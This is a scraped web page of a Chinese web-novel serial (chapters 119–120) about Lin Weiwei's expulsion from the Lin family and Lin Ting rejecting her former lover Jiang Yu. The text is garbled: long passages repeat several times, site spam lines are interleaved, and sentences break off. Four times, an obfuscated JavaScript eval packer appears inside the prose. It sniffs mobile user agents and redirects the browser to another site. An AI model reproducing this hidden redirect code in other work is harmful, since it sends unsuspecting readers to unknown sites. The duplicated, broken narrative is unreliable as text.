这件事情,林振宇前两天回来告诉过林建国。 林建国这才知道,苏秀珍接近他的目的,是为了替儿子报仇。 他的脸色变得严肃起来。 林薇薇又说,“爸,我劝过她,让她放下仇恨,别再做坏事了。可是她说,她要让林家的人都**。你一定要好好查一查她的丈夫在哪里。 苏秀珍是坐牢了。 可是苏秀珍的丈夫,一直没露过面。 “爸,她说她要让林家的人,都要为她儿子陪葬。 “你们一定要小心一些。 闻言,林家父子二人的脸色,突然变得谨慎起来。 想到林薇薇多年的欺骗,林振宇黑着脸,冷声说,“这件事情,我们自己会查清,不用你操心。 林薇薇哭道,“哥,我真的没有你们想象的那么坏。如果我真的是坏人,当初周六少找人把柚子扔进河里,我就不会把她救起来,再送回城中村。你们再给我一次机会,别把我赶出林家,让我好好弥补你们,好不好? 上次柚子突然失踪的事情,林振宇多多少少也知道。 他狐疑道,“是你把柚子从河里捞起来的? 林薇薇指天起誓道,“我若有半句假话,出门被车撞死。 就算如此,林建国依旧憎恨林薇薇的欺骗。 他对她比对林听还要疼爱。 最后却不是他的亲生女儿。 林建国脸色铁青道,“你会不会被车撞死,我管不着。但是,我限你两一天之内,从林家滚出去。 林薇薇失魂落魄地离开了医院。 在医院的进出口,看到了江遇的那辆红旗国礼。 她跟到停车场,见江遇下车后,不由扑到江遇面前。 “江遇,你能不能借我点钱,我现在身无分文,所有的银行卡都被冻结了,我真的走投无路了。 这些年,她和苏秀珍花的每一分钱,有一半都是属于唐婉华的。 林听作为唐婉华的亲生女儿,向**提起了诉讼。 又有宋律风这个大律师帮着林听。 所以,她的所有银行卡,都被银行冻结了。 林家不要她了,她真的走投无路了。 她拉着江遇的胳膊,声声哀求。 江遇冷冷地挥开她。 “林薇薇,我不会再可怜你半分。 诚然,林薇薇说的没错,是他对林听不信任,才导致了他与林听分道扬镳的结局。 可是,如果林薇薇不会从中作梗,他怎么可能失去林听,失去自己的亲生女儿? 他恨不得将林薇薇挫骨扬灰,“滚! “江遇,就算你恨我,可是你能不能看在,我也救过柚子的份上,先错我一些钱? 听说看这本书的人都是很幸运的,分享后你的运气会更棒 握起林建国的手,“爸……” 下一秒,被林建国用力推开。 “爸,不管你认不认我,有件事情,我都必须告诉你。” “三十三年前,你开车撞死过一个一岁多的小男孩,这件事情你还记得吗?” “那个小男孩,其实是苏秀珍的独生子。” 这件事情,林振宇前两天回来告诉过林建国。 林建国这才知道,苏秀珍接近他的目的,是为了替儿子报仇。 他的脸色变得严肃起来。 林薇薇又说,“爸,我劝过她,让她放下仇恨,别再做坏事了。可是她说,她要让林家的人都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15697091|172816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' **。你一定要好好查一查她的丈夫在哪里。” 苏秀珍是坐牢了。 可是苏秀珍的丈夫,一直没露过面。 “爸,她说她要让林家的人,都要为她儿子陪葬。” “你们一定要小心一些。” 闻言,林家父子二人的脸色,突然变得谨慎起来。 想到林薇薇多年的欺骗,林振宇黑着脸,冷声说,“这件事情,我们自己会查清,不用你操心。” 林薇薇哭道,“哥,我真的没有你们想象的那么坏。如果我真的是坏人,当初周六少找人把柚子扔进河里,我就不会把她救起来,再送回城中村。你们再给我一次机会,别把我赶出林家,让我好好弥补你们,好不好?” 上次柚子突然失踪的事情,林振宇多多少少也知道。 他狐疑道,“是你把柚子从河里捞起来的?” 林薇薇指天起誓道,“我若有半句假话,出门被车撞死。” 就算如此,林建国依旧憎恨林薇薇的欺骗。 他对她比对林听还要疼爱。 最后却不是他的亲生女儿。 林建国脸色铁青道,“你会不会被车撞死,我管不着。但是,我限你两一天之内,从林家滚出去。” 林薇薇失魂落魄地离开了医院。 在医院的进出口,看到了江遇的那辆红旗国礼。 她跟到停车场,见江遇下车后,不由扑到江遇面前。 “江遇,你能不能借我点钱,我现在身无分文,所有的银行卡都被冻结了,我真的走投无路了。” 这些年,她和苏秀珍花的每一分钱,有一半都是属于唐婉华的。 林听作为唐婉华的亲生女儿,向**提起了诉讼。 又有宋律风这个大律师帮着林听。 所以,她的所有银行卡,都被银行冻结了。 林家不要她了,她真的走投无路了。 她拉着江遇的胳膊,声声哀求。 江遇冷冷地挥开她。 “林薇薇,我不会再可怜你半分。” 诚然,林薇薇说的没错,是他对林听不信任,才导致了他与林听分道扬镳的结局。 可是,如果林薇薇不会从中作梗,他怎么可能失去林听,失去自己的亲生女儿? 他恨不得将林薇薇挫骨扬灰,“滚!” “江遇,就算你恨我,可是你能不能看在,我也救过柚子的份上,先错我一些钱?” 你的朋友正在书荒,快去帮帮他吧 握起林建国的手,“爸…… 下一秒,被林建国用力推开。 “爸,不管你认不认我,有件事情,我都必须告诉你。 “三十三年前,你开车撞死过一个一岁多的小男孩,这件事情你还记得吗? “那个小男孩,其实是苏秀珍的独生子。 这件事情,林振宇前两天回来告诉过林建国。 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“林薇薇,柚子花生过敏那件事情,是你怂恿暖暖去做的,对吗?” 事情过去这么久,江遇想想便后怕。 当时他是蠢到什么地步,才会在林听面前维护林薇薇。 那时的林听,一定对他失望透顶了。 就为了眼前这个心机女人,他一次又一次地伤害了他最爱的女人。 甚至差点让自己的女儿,死在这个女人的手上。 下一瞬,他掐住了林薇薇的脖子。 将她抵在车门前。 “你要是再敢伤害林听和柚子,我会让你死无葬身之地。” 车门前的林薇薇,小脸涨得发红发紫。 她快要呼吸不过来了。 可是她并没有挣扎。 反而一脸解脱似的,看着江遇:如果死能够赎罪,那就让她死吧。 能死在江遇的手里,这辈子算不算是江遇欠了她一条人命? 下辈子,为了还债,他是不是就会留在她的身边? 见她丝毫不挣扎,一脸阴沉的江遇用力甩开她。 “林薇薇,我这一辈子都不想再见到你。” “滚!” 林薇薇哭道: “江遇,花生过敏的事情,我承认。” “是我利用了暖暖的嫉妒心和报复心,在她面前特意表明柚子花生过敏。” “所以暖暖想报复柚子,往柚子的水杯里加了花生糖。” “但是我真的没有想到,一颗花生糖会让柚子休克。” “我当时也很害怕,很后悔,很内疚。” “柚子是无辜的,她不应该被牵扯进上一代人的是非恩怨中。” “你还记得你想把柚子送到国外去,柚子走丢的那一次吗?” “其实是周六少安排的人,想弄死柚子,然后嫁祸到林家人的头上,让林听和林家反目。” “是我于心不忍,把柚子从河里捞起来,然后送回城中村的。” “江遇,我知道柚子是你的亲生女儿,要是失去了柚子,你肯定会痛苦。” “我怎么可能会让柚子**呢?” “看在我救过柚子的份上,你借我一些钱,好不好?” 江遇质疑道,“那一次是你救了柚子?” 林薇薇:“江遇,我真的没有说半句假话,我没有你想象的那么坏,我也是身不由己。” 在楚楚可怜的哭声说,她把自己的身世和遭遇,告诉了江遇。 江遇这才得知,原来林薇薇并不是苏秀珍的亲生女儿。 她不过是苏秀珍接近林建国,从外面拐来的小女孩。 她的亲生父母早就**。 唯一的奶奶也过世了。 她无亲无故。 苏秀珍不是她的亲生母亲。 现在连最疼她,最爱她的林建国和林振宇,也恨不得杀了她。 “江遇,我真的走投无路了,我身上一分钱也没有。” “你帮帮我,好不好?” 这样可怜的林薇薇,江遇没有丝毫的怜悯。 他冷冷道,“林薇薇,这些都是你咎由自取,活该的!” 当天傍晚。 林薇薇的东西,被林家的佣人全部清了出来。 她看了看被放在门口的那些东西,只有几件衣服。 “曹叔,我的那些包包,鞋子,首饰,可以让我带走吗?” 曹叔为难道,“薇薇,实在抱歉,你哥……” 林振宇已经不是她的哥哥了。 曹叔赶紧改口道,“薇薇,林先生吩咐过,林家花钱给你买的东西,你一样也不能带走。” 林薇薇本想着身无分文,能带走一些包包鞋子首饰。 随便拿去奢侈品店卖掉,也够她一阵子的生活费了。 可是,林家人好狠的心。 连这些都要她还回去。 “曹叔,我身无分文,离开林家连个住的地方也没有。” “你可不可以先借我几千块钱。” “等我找到工作,拿了工资,我第一时间还给你。” 曹叔无可奈何道,“薇薇,恕我爱莫能助,帮你我会丢工作的。” 回应曹叔的,是林薇薇连续的几声苦笑声: “呵,呵呵呵……” “林振宇不愧是林振宇,够狠心,够绝情!” 他们林家的人,翻脸比 翻书还要快。 不仅如此。 接下来的几天林薇薇想凭借医药研发的专业知识去找份工作。 可是得到的结果只有一个: 林家动用所有关系在医药研发行业**她。 她真的到了走投无路的地步。 …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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现在见到江遇再穿这套衣服只会让林听觉得自己曾经是有多么的愚蠢。 第119章 林听不回头 不管江遇穿上这套衣服,是多么的风采依旧。 林听都不愿再多看一眼。 她松开了柚子和落落的小手,从包包里掏出手机来。 电话是打给夏静姝的。 夏静姝秒接。 “夏静姝,你还有脸接电话? “你明知道我最讨厌这个人,你还利用嘉树帮着他把我骗出来。 那头的夏静姝,赶紧解释,“小听,你先别生气,我也是看着柚子可怜。毕竟江遇是柚子的亲生父亲…… 不等夏静姝说完,林听斩钉截铁,“以后别再联系了。 啪,她挂断了电话。 见她一脸盛怒,江遇上前解释: “抱歉,只能用这样的方式,把你们母女俩约出来。你别怪静姝,她只是想帮我。 他看了一眼林听,又看了一眼她身侧的柚子。 这孩子眼睛大大的,水灵灵的,完全和林听一个模子里刻出来。 许多年前,他便憧憬,能让林听为他生下一个乖巧可爱的女儿。 林听真的替他生下了柚子。 江遇无法想象,她一个人在监狱里怀着柚子时,是怎样挺过来的。 她们母女俩这一路走过来,遭遇了太多的苦难和波折。 每每想起,江遇喉咙发紧,眼眶发红。 是他欠他们母女俩,太多太多了。 他弯下腰来,想摸摸柚子的小脑袋。 眼里盛满恨意的小柚子,往妈妈身后一躲。 “你别碰到我! 稚嫩的语气,充满了厌恶。 江遇抬起来的手,终究是落寞的垂下去。 然后忍着心中如火灼烧般的痛,温柔道: “柚子,爸爸今天给你带了礼物。 “一会儿吃完饭,爸爸带你去海洋馆看大鲸鱼,好不好? 柚子:“不好!我不想和你一起吃饭,更不想和你一起去海洋馆。 然后,柚子抬头,看着林听,“妈妈,嘉树哥哥为什么没有来? 林听不知怎么向孩子解释,是嘉树哥哥的妈妈,把她们骗到这里来的。 尽管被柚子拒绝了,江遇还是去拿来他今天给柚子带来的礼物。 那是一幅 画。 是江遇近日来,为他们一家三口画的画像。 画像里有星空。 有星空之下,**遇高高头在头顶的柚子,还有旁边一脸微笑的林听。 那完全是江遇凭借想象,画出来的油画。 画像里一家三口的温馨幸福,是江遇憧憬着的美好未来。 他画得栩栩如生。 仿佛他们一家三口,真的穿越进了画布里。 不愧是绘画天才——江遇。 他蹲下身子来,把整幅画像捧到柚子面前,“柚子,喜欢吗?” 那幅画像,真的让柚子很触动。 初见他时,是在机场。 小柚子摔破了膝盖,他把她抱起来,耐心地为她贴上了创可贴。 那个时候,柚子多么希望,自己能有一个这样温暖的爸爸。 事实证明,他真的就是她的爸爸。 这样的温馨幸福,柚子又何曾没有憧憬过? 只是,爸爸带给她的身心伤害,太多,太多。 这幅画刺激着柚子小小的心灵。 她拍掉画,满眼恨意地看向江遇。 “我不喜欢!” 见柚子痛苦落泪,林听赶紧抱柚子抱进怀里。 她知道,江遇带给柚子的那些伤害,会成为柚子一辈子的心理阴影。 “柚子,不喜欢我们就回家。” “妈妈带你回家。” 旁边的落落,也舍不得柚子难过。 她也上前,擦掉柚子的泪水,“柚子妹妹,姐姐带你去玩。” 柚子一手拉着妈妈,一手拉着落落姐姐,点点头,“嗯,我们回家!” 下一秒,林听欲带着孩子们离开。 江遇还不死心。 他抱着一个盒子,拦住她们的去路。 “听听,那对陶瓷娃娃,我修复好了。” “修复后的陶瓷娃娃,比以前更好看,更可爱。” 说着,他把盒子里的一对陶瓷娃娃拿出来。 熟悉的物件,让林听想起许多往事。 她接过其中一个男娃娃,上面有江遇刻着的四个字:白首永偕。 江遇拿着女娃娃,和男娃娃挨在一起,“你看,赤绳早系,白首永偕。 我真的修复好了。听听,我知道,你的心也像这碎掉的陶瓷娃娃一样,很难修复。但是可不可以给我一个机会?我一定会好好弥补你和柚子的。” 那个女娃娃,又被林听一起拿过去。 “这对娃娃对你来说,很重要,对吗?” 啪嗒一声。 “听听,不要……” 江遇来不及阻止。 一对修复好的陶瓷娃娃,已经摔在了地上。 比起之前,它们碎得更厉害。 一片一片的,东零西落。 就像江遇碎掉的心一样。 这对陶瓷娃娃,是他花了四天五夜,不眠不休,这才修复好的。 它们却被林听弃之如敝屐。 “江遇,你让我喜欢你的时候,我喜欢你了。” “你让我依靠你的时候,我也依靠你了。” “然后,因为不被信任,你将我重重丢下。” “我人生至黑至暗的时候,你非但没有拉我一把,还将我重重地推向深渊。” “如果我再给你机会,我是不是蠢到无药可救?” 她和江遇,再无可能。 “别再纠缠我,否则我和柚子会更讨厌你。” 说起这些,林听不带任何情绪。 仿佛过去的那些甜蜜美好,她真的已经完全放下了。 就像这对**遇视如珍宝的陶瓷娃娃一样,她只当是垃圾。 说完,林听重新牵着柚子和落落,离开了包厢。 他们离开时,踩着一地陶瓷碎片,又踩着那幅被柚子拍掉的画像,头也不回。 留下江遇,独自呆在包厢里,看着一片的碎片,和被踩坏的画像,心如刀绞。 他一片一片地拾起陶瓷碎片。 有的,已经被踩成了粹粒状。 他小心翼翼地扫成一堆,捧起来,“一定还可以再修复好的,一定还可以……” …… 傍晚。 周自衡从外面回到君悦府的别墅。 林听在厨房里,熬着汤。 她熬了多久,周自衡便在后面看了多久。 林听一回头,撞上周自衡的目光。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 我真的修复好了。听听我知道你的心也像这碎掉的陶瓷娃娃一样很难修复。但是可不可以给我一个机会?我一定会好好弥补你和柚子的。” 那个女娃娃又被林听一起拿过去。 “这对娃娃对你来说很重要对吗?” 啪嗒一声。 “听听不要……” 江遇来不及阻止。 一对修复好的陶瓷娃娃已经摔在了地上。 比起之前它们碎得更厉害。 一片一片的东零西落。 就像江遇碎掉的心一样。 这对陶瓷娃娃是他花了四天五夜不眠不休这才修复好的。 它们却被林听弃之如敝屐。 “江遇你让我喜欢你的时候我喜欢你了。” “你让我依靠你的时候我也依靠你了。” “然后因为不被信任你将我重重丢下。” “我人生至黑至暗的时候你非但没有拉我一把还将我重重地推向深渊。” “如果我再给你机会我是不是蠢到无药可救?” 她和江遇再无可能。 “别再纠缠我否则我和柚子会更讨厌你。” 说起这些林听不带任何情绪。 仿佛过去的那些甜蜜美好她真的已经完全放下了。 就像这对**遇视如珍宝的陶瓷娃娃一样她只当是垃圾。 说完林听重新牵着柚子和落落离开了包厢。 他们离开时踩着一地陶瓷碎片又踩着那幅被柚子拍掉的画像头也不回。 留下江遇独自呆在包厢里看着一片的碎片和被踩坏的画像心如刀绞。 他一片一片地拾起陶瓷碎片。 有的已经被踩成了粹粒状。 他小心翼翼地扫成一堆捧起来“一定还可以再修复好的一定还可以……” …… 傍晚。 周自衡从外面回到君悦府的别墅。 林听在厨房里熬着汤。 她熬了多久周自衡便在后面看了多久。 林听一回头 你的朋友正在书荒,快去帮帮他吧 我真的修复好了。听听,我知道,你的心也像这碎掉的陶瓷娃娃一样,很难修复。但是可不可以给我一个机会?我一定会好好弥补你和柚子的。” 那个女娃娃,又被林听一起拿过去。 “这对娃娃对你来说,很重要,对吗?” 啪嗒一声。 “听听,不要……” 江遇来不及阻止。 一对修复好的陶瓷娃娃,已经摔在了地上。 比起之前,它们碎得更厉害。 一片一片的,东零西落。 就像江遇碎掉的心一样。 这对陶瓷娃娃,是他花了四天五夜,不眠不休,这才修复好的。 它们却被林听弃之如敝屐。 “江遇,你让我喜欢你的时候,我喜欢你了。” “你让我依靠你的时候,我也依靠你了。” “然后,因为不被信任,你将我重重丢下。” “我人生至黑至暗的时候,你非但没有拉我一把,还将我重重地推向深渊。” “如果我再给你机会,我是不是蠢到无药可救?” 她和江遇,再无可能。 “别再纠缠我,否则我和柚子会更讨厌你。” 说起这些,林听不带任何情绪。 仿佛过去的那些甜蜜美好,她真的已经完全放下了。 就像这对**遇视如珍宝的陶瓷娃娃一样,她只当是垃圾。 说完,林听重新牵着柚子和落落,离开了包厢。 他们离开时,踩着一地陶瓷碎片,又踩着那幅被柚子拍掉的画像,头也不回。 留下江遇,独自呆在包厢里,看着一片的碎片,和被踩坏的画像,心如刀绞。 他一片一片地拾起陶瓷碎片。 有的,已经被踩成了粹粒状。 他小心翼翼地扫成一堆,捧起来,“一定还可以再修复好的,一定还可以……” …… 傍晚。 周自衡从外面回到君悦府的别墅。 林听在厨房里,熬着汤。 她熬了多久,周自衡便在后面看了多久。 林听一回头,撞上周自衡的目光。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 我真的修复好了。听听,我知道,你的心也像这碎掉的陶瓷娃娃一样,很难修复。但是可不可以给我一个机会?我一定会好好弥补你和柚子的。” 那个女娃娃,又被林听一起拿过去。 “这对娃娃对你来说,很重要,对吗?” 啪嗒一声。 “听听,不要……” 江遇来不及阻止。 一对修复好的陶瓷娃娃,已经摔在了地上。 比起之前,它们碎得更厉害。 一片一片的,东零西落。 就像江遇碎掉的心一样。 这对陶瓷娃娃,是他花了四天五夜,不眠不休,这才修复好的。 它们却被林听弃之如敝屐。 “江遇,你让我喜欢你的时候,我喜欢你了。” “你让我依靠你的时候,我也依靠你了。” “然后,因为不被信任,你将我重重丢下。” “我人生至黑至暗的时候,你非但没有拉我一把,还将我重重地推向深渊。” “如果我再给你机会,我是不是蠢到无药可救?” 她和江遇,再无可能。 “别再纠缠我,否则我和柚子会更讨厌你。” 说起这些,林听不带任何情绪。 仿佛过去的那些甜蜜美好,她真的已经完全放下了。 就像这对**遇视如珍宝的陶瓷娃娃一样,她只当是垃圾。 说完,林听重新牵着柚子和落落,离开了包厢。 他们离开时,踩着一地陶瓷碎片,又踩着那幅被柚子拍掉的画像,头也不回。 留下江遇,独自呆在包厢里,看着一片的碎片,和被踩坏的画像,心如刀绞。 他一片一片地拾起陶瓷碎片。 有的,已经被踩成了粹粒状。 他小心翼翼地扫成一堆,捧起来,“一定还可以再修复好的,一定还可以……” …… 傍晚。 周自衡从外面回到君悦府的别墅。 林听在厨房里,熬着汤。 她熬了多久,周自衡便在后面看了多久。 林听一回头,撞上周自衡的目光。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702033|172816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 我真的修复好了。听听我知道你的心也像这碎掉的陶瓷娃娃一样很难修复。但是可不可以给我一个机会?我一定会好好弥补你和柚子的。” 那个女娃娃又被林听一起拿过去。 “这对娃娃对你来说很重要对吗?” 啪嗒一声。 “听听不要……” 江遇来不及阻止。 一对修复好的陶瓷娃娃已经摔在了地上。 比起之前它们碎得更厉害。 一片一片的东零西落。 就像江遇碎掉的心一样。 这对陶瓷娃娃是他花了四天五夜不眠不休这才修复好的。 它们却被林听弃之如敝屐。 “江遇你让我喜欢你的时候我喜欢你了。” “你让我依靠你的时候我也依靠你了。” “然后因为不被信任 “我人生至黑至暗的时候你非但没有拉我一把还将我重重地推向深渊。” “如果我再给你机会我是不是蠢到无药可救?” 她和江遇再无可能。 “别再纠缠我否则我和柚子会更讨厌你。” 说起这些林听不带任何情绪。 仿佛过去的那些甜蜜美好她真的已经完全放下了。 就像这对**遇视如珍宝的陶瓷娃娃一样她只当是垃圾。 说完林听重新牵着柚子和落落离开了包厢。 他们离开时踩着一地陶瓷碎片又踩着那幅被柚子拍掉的画像头也不回。 留下江遇独自呆在包厢里看着一片的碎片和被踩坏的画像心如刀绞。 他一片一片地拾起陶瓷碎片。 有的已经被踩成了粹粒状。 他小心翼翼地扫成一堆捧起来“一定还可以再修复好的一定还可以……” …… 傍晚。 周自衡从外面回到君悦府的别墅。 林听在厨房里熬着汤。 她熬了多久周自衡便在后面看了多久。 林听一回头撞上周自衡的目光。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 我真的修复好了。听听我知道你的心也像这碎掉的陶瓷娃娃一样很难修复。但是可不可以给我一个机会?我一定会好好弥补你和柚子的。” 那个女娃娃又被林听一起拿过去。 “这对娃娃对你来说很重要对吗?” 啪嗒一声。 “听听不要……” 江遇来不及阻止。 一对修复好的陶瓷娃娃已经摔在了地上。 比起之前它们碎得更厉害。 一片一片的东零西落。 就像江遇碎掉的心一样。 这对陶瓷娃娃是他花了四天五夜不眠不休这才修复好的。 它们却被林听弃之如敝屐。 “江遇你让我喜欢你的时候我喜欢你了。” “你让我依靠你的时候我也依靠你了。” “然后因为不被信任你将我重重丢下。” “我人生至黑至暗的时候你非但没有拉我一把还将我重重地推向深渊。” “如果我再给你机会我是不是蠢到无药可救?” 她和江遇再无可能。 “别再纠缠我否则我和柚子会更讨厌你。” 说起这些林听不带任何情绪。 仿佛过去的那些甜蜜美好她真的已经完全放下了。 就像这对**遇视如珍宝的陶瓷娃娃一样她只当是垃圾。 说完林听重新牵着柚子和落落离开了包厢。 他们离开时踩着一地陶瓷碎片又踩着那幅被柚子拍掉的画像头也不回。 留下江遇独自呆在包厢里看着一片的碎片和被踩坏的画像心如刀绞。 他一片一片地拾起陶瓷碎片。 有的已经被踩成了粹粒状。 他小心翼翼地扫成一堆捧起来“一定还可以再修复好的一定还可以……” …… 傍晚。 周自衡从外面回到君悦府的别墅。 林听在厨房里 小说更新,记住域名caixs?(请来才 小说 看最新章节 完整章节)熬着汤。 她熬了多久周自衡便在后面看了多久。 林听一回头撞上周自衡的目光。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 我真的修复好了。听听,我知道,你的心也像这碎掉的陶瓷娃娃一样,很难修复。但是可不可以给我一个机会?我一定会好好弥补你和柚子的。” 那个女娃娃,又被林听一起拿过去。 “这对娃娃对你来说,很重要,对吗?” 啪嗒一声。 “听听,不要……” 江遇来不及阻止。 一对修复好的陶瓷娃娃,已经摔在了地上。 比起之前,它们碎得更厉害。 一片一片的,东零西落。 就像江遇碎掉的心一样。 这对陶瓷娃娃,是他花了四天五夜,不眠不休,这才修复好的。 它们却被林听弃之如敝屐。 “江遇,你让我喜欢你的时候,我喜欢你了。” “你让我依靠你的时候,我也依靠你了。” “然后,因为不被信任,你将我重重丢下。” “我人生至黑至暗的时候,你非但没有拉我一把,还将我重重地推向深渊。” “如果我再给你机会,我是不是蠢到无药可救?” 她和江遇,再无可能。 “别再纠缠我,否则我和柚子会更讨厌你。” 说起这些,林听不带任何情绪。 仿佛过去的那些甜蜜美好,她真的已经完全放下了。 就像这对**遇视如珍宝的陶瓷娃娃一样,她只当是垃圾。 说完,林听重新牵着柚子和落落,离开了包厢。 他们离开时,踩着一地陶瓷碎片,又踩着那幅被柚子拍掉的画像,头也不回。 留下江遇,独自呆在包厢里,看着一片的碎片,和被踩坏的画像,心如刀绞。 他一片一片地拾起陶瓷碎片。 有的,已经被踩成了粹粒状。 他小心翼翼地扫成一堆,捧起来,“一定还可以再修复好的,一定还可以……” …… 傍晚。 周自衡从外面回到君悦府的别墅。 林听在厨房里,熬着汤。 她熬了多久,周自衡便在后面看了多久。 林听一回头,撞上周自衡的目光。 你的朋友正在书荒,快去帮帮他吧 第120章 这个男人很缠人 林听并不知道,周自衡在后面看了她好一会儿了。 她以为他刚刚回来。 “你回来啦?”她冲周自衡笑了笑。 这个笑容,一扫周自衡全身的疲惫。 对周自衡来说,连空气也变得更清新了。 他唇角微扬着,深吸了一口气。 灶台前的林听,继续搅动锅里的汤。 “这是我给我爸熬的清肝明目的汤。” “他最近眼睛不太好。” “一会儿我把汤送到隔壁去,然后回来就可以吃饭啦。” 周自衡走过去,想看看有没有什么要帮忙的。 这才发现,她已经做好了晚饭。 最近她经常自己下厨。 因为小柚子喜欢吃她做的可口的饭菜。 他专门请的厨师,倒是天天没事干了。 他问,“柚子去隔壁找落落了?” “嗯。”林听把汤盛出来,试了试味道,刚刚好。 然后,关了火。 又看向周自衡。 “住在你这边太方便了,柚子想外婆和落落姐姐时,几步路就到了。” “周自衡,等我拿到我妈的那笔遗产,你把这房子卖给我好不好?” 周自衡答得爽快,“我不做亏本买卖。” 林听:“二十多年的发小了,你还想赚我一笔不成?” 周自衡笑笑不语。 这笔买卖,他可是等了很久了。 说话间,林听把汤盛出来,准备给隔壁的周国立送过去。 周自衡接过去,“我去接柚子,顺便帮你送这锅汤。” 林听也跟着一起去了。 见到周自衡,原本还在和落落一起玩过家家游戏的柚子,立即放下手中的玩具,高兴地奔了过去。 周自衡弯腰把孩子抱起来。 柚子在他怀里,欢喜地搂着他的脖子。 “周爸爸,我想了你一天啦。” “小嘴真甜,回家吃饭喽。” 然后,他们和周国立张淑琴宋律风,打了招呼。 林听又吩咐了周国立,要把她熬的清肝明目的汤,给喝了。 三人这才转身离开。 张淑琴拍了拍周国立的胳膊 ,“老周,你看,他们像不像一家三口?” 周国立笑着点头。 宋律风也笑着应声,“我都说过了,你们很快就能吃到喜糖了。” …… 夜里。 柚子被周自衡哄睡了。 林听也坐在旁边。 两人给柚子盖好被子,小心翼翼地退出去。 掩紧房门后,林听对周自衡说: “周自衡,明天让我来给柚子讲睡前故事,我来把她哄睡吧。” “你日理万机,够忙的。” “而且,柚子要是习惯了你讲的睡前故事,以后她会更加依赖你。” “以后,你总是要娶老婆的。” 那时候,周自衡会有自己的老婆孩子。 就算她和柚子和周自衡才情同亲人,也不好再打扰周自衡。 周自衡答得风马牛不相及,“江遇今天找过你了?” 林听眨了眨眼,“啊,你怎么知道?” 今天,江遇确实是强行与她和柚子见过面了。 但这件事情,她谁也没有说过呀。 周自衡如何知道的? 周自衡不答,反问,“用不用我给你介绍一个男朋友,让江遇**这条心?” 林听摆摆手,“我没有谈恋爱的打算。” 那个时候,她是恋爱脑,才会对江遇死心塌地。 “再说了,我现在带着柚子,有哪个男人会视柚子如己出。” “我可不想找麻烦事。” “现在这样挺好的。” 灯光下的周自衡,继续说服: “假的也行,只要能让江遇死心。” “你也知道江遇缠人的本事。” “除非你想与他破镜重圆。” 林听承认,过去的那段青春里,江遇确实是她唯一爱过的男人。 每每提到他,那段愚蠢的回忆,又在记忆里闪回。 可她不蠢。 一个对她毫无信任,对她见死不救的男人。 她要是再跟他破镜重圆。 她就是再死一次,也是活该的。 她坚定道,“让我和他破镜重圆,你打死我算了吧。” 这句话,让周自衡紧崩的额角,松了松。 说起江遇缠人的本事林听以前见识过。 如果因为什么事情江遇惹她生气了。 她会不理江遇。 往往这个时候江遇会使尽浑身解数哄她开心。 就像今天他能利用小嘉树把她和柚子骗过去。 林听以为江遇不会那么快再找到她和柚子。 毕竟今日在鼎盛酒楼她把话说得清楚明白又果断决绝。 可是她没有想到。 第二日他们又见面了。 此时此刻她和宋律风一起送柚子和落落进了幼儿园。 一辆黑色的红旗国礼从幼儿园的内部车道开进幼儿园的停车场。 宋律风和林听二人都清楚地知道。 这个内部车道入口是给幼儿园的工作人员准备的。 只有幼儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709723|172816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 园的工作人员才能进出。 两人的目光同时落在这辆黑色的红旗国礼轿车之上。 清晨的阳光下宋律风的脸色忽然暗下来。 “小听江遇是想干什么?” “难不成他应聘了东江幼儿园的工作人员?” 林听的脸色刷一下变得阴沉。 柚子最讨厌见到江遇了。 江遇到底想要干什么? 就在他们疑惑不解的时候江遇停好车子从学校走出来。 斑驳的阳光下江遇身着上橙下白的运动套装。 他每向他们靠近一步全身上下都散发着大学校草般的意气风发。 江遇18岁那一年拿了全国散打青年组的冠军。 这套上橙上白的运动套装是林听送给他的贺喜礼。 昨天那一套灰色运动套装也是她送给他的。 当时她买的是情侣装。 江遇一套。 她一套。 她的那一套她早就扔了。 没想到这个男人竟然都还留着。 如他所说 当年她从监狱提前出来。 江遇让江书臣把她送给他的许多东西都还回来了。 并且江遇还让书臣哥带 给她一句话:别再纠缠他。 可是没想到,这个男人还偷偷留了这么多,她送给他的东西。 真是个矛盾的男人。 既然那个时候还爱着,又为什么不相信她。 